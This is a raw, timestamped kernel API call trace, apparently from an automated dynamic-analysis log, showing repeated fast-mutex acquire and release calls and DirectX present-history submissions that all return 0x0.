[0143.012] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.012] DxgkCddSubmitPresentHistory () returned 0x0 [0143.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.012] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.012] DxgkCddSubmitPresentHistory () returned 0x0 [0143.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.028] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.028] DxgkCddSubmitPresentHistory () returned 0x0 [0143.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.052] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.052] DxgkCddSubmitPresentHistory () returned 0x0 [0143.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.067] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.067] DxgkCddSubmitPresentHistory () returned 0x0 [0143.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.083] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.083] DxgkCddSubmitPresentHistory () returned 0x0 [0143.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.156] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.156] DxgkCddSubmitPresentHistory () returned 0x0 [0143.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.192] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.193] DxgkCddSubmitPresentHistory () returned 0x0 [0143.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.262] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000000e90e0) [0143.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.262] DxgkCddSubmitPresentHistory () returned 0x0 [0143.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.262] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.262] DxgkCddSubmitPresentHistory () returned 0x0 [0143.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.304] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.304] DxgkCddSubmitPresentHistory () returned 0x0 [0143.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.304] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000000e90e0) [0143.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.304] DxgkCddSubmitPresentHistory () returned 0x0 [0143.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.305] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.305] DxgkCddSubmitPresentHistory () returned 0x0 [0143.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.316] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.316] DxgkCddSubmitPresentHistory () returned 0x0 [0143.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.350] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.350] DxgkCddSubmitPresentHistory () returned 0x0 [0143.381] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.381] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.381] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.381] DxgkCddSubmitPresentHistory () returned 0x0 [0143.381] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.381] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.381] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.381] DxgkCddSubmitPresentHistory () returned 0x0 [0143.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.394] DxgkCddSubmitPresentHistory () returned 0x0 [0143.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.410] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.410] DxgkCddSubmitPresentHistory () returned 0x0 [0143.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.426] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.426] DxgkCddSubmitPresentHistory () returned 0x0 [0143.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.426] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.426] DxgkCddSubmitPresentHistory () returned 0x0 [0143.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.462] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.462] DxgkCddSubmitPresentHistory () returned 0x0 [0143.493] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.493] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.493] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.493] DxgkCddSubmitPresentHistory () returned 0x0 [0143.493] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.494] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000000e90e0) [0143.494] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.494] DxgkCddSubmitPresentHistory () returned 0x0 [0143.494] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.494] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.494] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.494] DxgkCddSubmitPresentHistory () returned 0x0 [0143.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.525] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.525] DxgkCddSubmitPresentHistory () returned 0x0 [0143.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.555] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.555] DxgkCddSubmitPresentHistory () returned 0x0 [0143.556] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.556] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.556] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.556] DxgkCddSubmitPresentHistory () returned 0x0 [0143.556] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.556] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000000e90e0) [0143.556] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.556] DxgkCddSubmitPresentHistory () returned 0x0 [0143.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.566] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.566] DxgkCddSubmitPresentHistory () returned 0x0 [0143.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.613] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.613] DxgkCddSubmitPresentHistory () returned 0x0 [0143.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.613] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000000e90e0) [0143.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.613] DxgkCddSubmitPresentHistory () returned 0x0 [0143.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.614] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.614] DxgkCddSubmitPresentHistory () returned 0x0 [0143.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.629] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.629] DxgkCddSubmitPresentHistory () returned 0x0 [0143.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.644] DxgkCddSubmitPresentHistory () returned 0x0 [0143.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.676] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.676] DxgkCddSubmitPresentHistory () returned 0x0 [0143.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.676] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.676] DxgkCddSubmitPresentHistory () returned 0x0 [0143.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.676] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000000e90e0) [0143.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.676] DxgkCddSubmitPresentHistory () returned 0x0 [0143.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.692] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.692] DxgkCddSubmitPresentHistory () returned 0x0 [0143.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.693] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.693] DxgkCddSubmitPresentHistory () returned 0x0 [0143.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.722] DxgkCddSubmitPresentHistory () returned 0x0 [0143.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.735] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e83f0) [0143.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.735] DxgkCddSubmitPresentHistory () returned 0x0 [0143.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.738] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.738] DxgkCddSubmitPresentHistory () returned 0x0 [0143.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.772] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.772] DxgkCddSubmitPresentHistory () returned 0x0 [0143.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.772] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e83f0) [0143.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.772] DxgkCddSubmitPresentHistory () returned 0x0 [0143.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.822] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.822] DxgkCddSubmitPresentHistory () returned 0x0 [0143.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.822] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.822] DxgkCddSubmitPresentHistory () returned 0x0 [0143.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.838] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e83f0) [0143.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.838] DxgkCddSubmitPresentHistory () returned 0x0 [0143.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.838] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.838] DxgkCddSubmitPresentHistory () returned 0x0 [0143.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.854] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.854] DxgkCddSubmitPresentHistory () returned 0x0 [0143.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.854] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.854] DxgkCddSubmitPresentHistory () returned 0x0 [0143.870] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.870] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e83f0) [0143.870] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.870] DxgkCddSubmitPresentHistory () returned 0x0 [0143.870] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.870] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.870] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.870] DxgkCddSubmitPresentHistory () returned 0x0 [0143.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.901] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.901] DxgkCddSubmitPresentHistory () returned 0x0 [0143.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.935] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.935] DxgkCddSubmitPresentHistory () returned 0x0 [0143.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.935] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.935] DxgkCddSubmitPresentHistory () returned 0x0 [0143.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.948] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e83f0) [0143.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.948] DxgkCddSubmitPresentHistory () returned 0x0 [0143.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.948] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.948] DxgkCddSubmitPresentHistory () returned 0x0 [0143.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.982] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.982] DxgkCddSubmitPresentHistory () returned 0x0 [0143.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.997] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0143.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.997] DxgkCddSubmitPresentHistory () returned 0x0 [0143.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.997] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0143.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.997] DxgkCddSubmitPresentHistory () returned 0x0 [0144.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.037] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.037] DxgkCddSubmitPresentHistory () returned 0x0 [0144.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.067] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0144.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0144.067] DxgkCddSubmitPresentHistory () returned 0x0 [0144.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.098] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.098] DxgkCddSubmitPresentHistory () returned 0x0 [0144.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.129] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.129] DxgkCddSubmitPresentHistory () returned 0x0 [0144.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.160] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.160] DxgkCddSubmitPresentHistory () returned 0x0 [0144.167] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.167] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.167] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.167] DxgkCddSubmitPresentHistory () returned 0x0 [0144.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.199] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.199] DxgkCddSubmitPresentHistory () returned 0x0 [0144.235] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.235] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.235] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.235] DxgkCddSubmitPresentHistory () returned 0x0 [0144.251] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.251] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.251] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.251] DxgkCddSubmitPresentHistory () returned 0x0 [0144.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.297] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.297] DxgkCddSubmitPresentHistory () returned 0x0 [0144.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.313] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.313] DxgkCddSubmitPresentHistory () returned 0x0 [0144.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.329] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.329] DxgkCddSubmitPresentHistory () returned 0x0 [0144.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.361] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.361] DxgkCddSubmitPresentHistory () returned 0x0 [0144.377] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.377] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.377] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.377] DxgkCddSubmitPresentHistory () returned 0x0 [0144.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.409] DxgkCddSubmitPresentHistory () returned 0x0 [0144.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.441] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.441] DxgkCddSubmitPresentHistory () returned 0x0 [0144.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.473] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.473] DxgkCddSubmitPresentHistory () returned 0x0 [0144.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.505] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.505] 